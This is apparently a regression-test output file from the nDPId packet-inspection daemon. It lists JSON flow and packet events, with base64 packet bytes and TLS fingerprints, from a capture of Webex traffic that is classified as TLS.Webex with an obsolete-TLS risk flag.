+00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":266,"source":"webex.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1444570636160,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"209.197.222.159","src_port":47498,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":160380,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA80GxAAEAGr+EKCAAB0cXen7mKAbt7nBKGAAAAAKACOQhH7AAAAgQFtAQCCAoATMLqAAAAAAEDAwY="} +00409{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":163417,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZFAABAGrtHRxd6fCggAAQG7uYqEY+15e5wSh1AS\/\/86HgAA"} +00408{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":163735,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0G1AAEAGr\/QKCAAB0cXen7mKAbt7nBKHhGPtelAQOQgBFwAA"} +00494{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":164429,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn0G5AAEAGr7QKCAAB0cXen7mKAbt7nBKHhGPtelAYOQh2yQAAFgMBADoBAAA2AwENSlEe7+NgWQr9TJ\/2WZpS5a6sUQSaq2ncdIKzDktEmAAABAA1AP8BAAAJACMAAAAPAAEB"} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":269,"source":"webex.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1444570636160,"flow_last_seen":1444570636164,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"209.197.222.159","src_port":47498,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":164621,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZJAABAGrtDRxd6fCggAAQG7uYqEY+16e5wSxlAQ\/\/854AAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":271,"source":"webex.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1444570636170,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.153","src_port":57647,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":170439,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8c99AAEAGAvcKCAABQER5meEvAbvnI7E0AAAAAKACOQgMmAAAAgQFtAQCCAoATMLrAAAAAAEDAwY="} +00409{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":175135,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZNAABAGpVdARHmZCggAAQG74S8Y3E7L5yOxNVAS\/\/8JAQAA"} +00407{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":175390,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoc+BAAEAGAwoKCAABQER5meEvAbvnI7E1GNxOzFAQOQjP+QAA"} +00495{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":176823,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnc+FAAEAGAsoKCAABQER5meEvAbvnI7E1GNxOzFAYOQg\/MQAAFgMBADoBAAA2AwHlQjeb\/eKZHKuppjWfos5yg+nhloBcE1OwdwWUSYyZagAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":274,"source":"webex.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1444570636170,"flow_last_seen":1444570636176,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.153","src_port":57647,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":177089,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZRAABAGpVZARHmZCggAAQG74S8Y3E7M5yOxdFAQ\/\/8IwwAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":276,"source":"webex.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1444570636180,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.231.3","src_port":45814,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":180806,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8nw9AAEAGbDMKCAABPm3nA7L2AbufQl3jAAAAAKACOQhqbwAAAgQFtAQCCAoATMLsAAAAAAEDAwY="} +00410{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":183521,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZVAABAGOcI+becDCggAAQG7svZgvaIcn0Jd5FAS\/\/\/LpgAA"} +00407{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":183683,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAonxBAAEAGbEYKCAABPm3nA7L2AbufQl3kYL2iHVAQOQiSnwAA"} +00494{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":185047,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnnxFAAEAGbAYKCAABPm3nA7L2AbufQl3kYL2iHVAYOQiqgAAAFgMBADoBAAA2AwG1npMJl\/ayeEKp148YQXJQu08Kp5pJKEAcdvXjyY7AEAAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":279,"source":"webex.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1444570636180,"flow_last_seen":1444570636185,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.231.3","src_port":45814,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":185321,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZZAABAGOcE+becDCggAAQG7svZgvaIdn0JeI1AQ\/\/\/LaAAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":281,"source":"webex.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1444570636248,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.104.140","src_port":44492,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":248727,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8NIdAAEAGU1wKCAABQERojK3MAbt5hvZ2AAAAAKACOQh5XQAAAgQFtAQCCAoATMLxAAAAAAEDAwY="} +00409{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":252206,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZdAABAGtmBARGiMCggAAQG7rcyGeQmJeYb2d1AS\/\/9NcQAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":283,"source":"webex.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1444570636252,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.202.139","src_port":47116,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":252483,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA80SxAAEAGIt4KCAABch3Ki7gMAbtSShPdAAAAAKACOQjlGgAAAgQFtAQCCAoATMLxAAAAAAEDAwY="} +00409{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":255532,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZhAABAGIodyHcqLCggAAQG7uAyttewiUkoT3lAS\/\/+vWAAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":285,"source":"webex.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1444570636255,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.4.76","src_port":52730,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":255758,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA870JAAEAGjzEKCAABrfMETM36AbsKei2zAAAAAKACOQiHkAAAAgQFtAQCCAoATMLxAAAAAAEDAwY="} +00409{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":259424,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZlAABAGrO+t8wRMCggAAQG7zfr1hdJMCnottFAS\/\/8j1AAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":287,"source":"webex.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1444570636259,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.100","src_port":52219,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":259848,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8u9ZAAEAGuzQKCAABQER5ZMv7AbtwVXkkAAAAAKACOQjQ2AAAAgQFtAQCCAoATMLyAAAAAAEDAwY="} +00410{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":263791,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZpAABAGpYVARHlkCggAAQG7y\/uPqobbcFV5JVAS\/\/8eagAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":289,"source":"webex.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1444570636264,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.99","src_port":55969,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":264505,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8YelAAEAGFSMKCAABQER5Y9qhAbtb96MaAAAAAKACOQismgAAAgQFtAQCCAoATMLzAAAAAAEDAwY="} +00410{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":268416,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZtAABAGpYVARHljCggAAQG72qGkCFzlW\/ejG1AS\/\/8PxQAA"} +00407{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":268706,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNIhAAEAGU28KCAABQERojK3MAbt5hvZ3hnkJilAQOQgUagAA"} +00493{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":268852,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnNIlAAEAGUy8KCAABQERojK3MAbt5hvZ3hnkJilAYOQhZ6QAAFgMBADoBAAA2AwFZAOdrf318d9DQoA0D3C8cGGy1yScsdSsQfqgP8YHJWQAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":292,"source":"webex.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1444570636248,"flow_last_seen":1444570636268,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.104.140","src_port":44492,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":269047,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZxAABAGtltARGiMCggAAQG7rcyGeQmKeYb2tlAQ\/\/9NMwAA"} +00407{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":269399,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0S1AAEAGIvEKCAABch3Ki7gMAbtSShPerbXsI1AQOQh2UQAA"} +00495{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":269543,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn0S5AAEAGIrEKCAABch3Ki7gMAbtSShPerbXsI1AYOQjEKQAAFgMBADoBAAA2AwEgf\/e\/jgX0597KeqXA4hkOqtuJMPxy38wcZQGqQdMmagAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":295,"source":"webex.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1444570636252,"flow_last_seen":1444570636269,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.202.139","src_port":47116,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":269759,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZ1AABAGIoJyHcqLCggAAQG7uAyttewjUkoUHVAQ\/\/+vGgAA"} +00407{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":269901,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo70NAAEAGj0QKCAABrfMETM36AbsKei209YXSTVAQOQjqzAAA"} +00493{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":270105,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn70RAAEAGjwQKCAABrfMETM36AbsKei209YXSTVAYOQhXBgAAFgMBADoBAAA2AwEbjnmamhrG0ilv8MM2B7NxSQPfoK5gN5dT14i2jCOS+AAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":298,"source":"webex.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1444570636255,"flow_last_seen":1444570636270,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.4.76","src_port":52730,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":270294,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZ5AABAGrOqt8wRMCggAAQG7zfr1hdJNCnot81AQ\/\/8jlgAA"} +00407{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":270430,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAou9dAAEAGu0cKCAABQER5ZMv7AbtwVXklj6qG3FAQOQjlYgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":301,"source":"webex.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1444570636270,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.200.11","src_port":47841,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 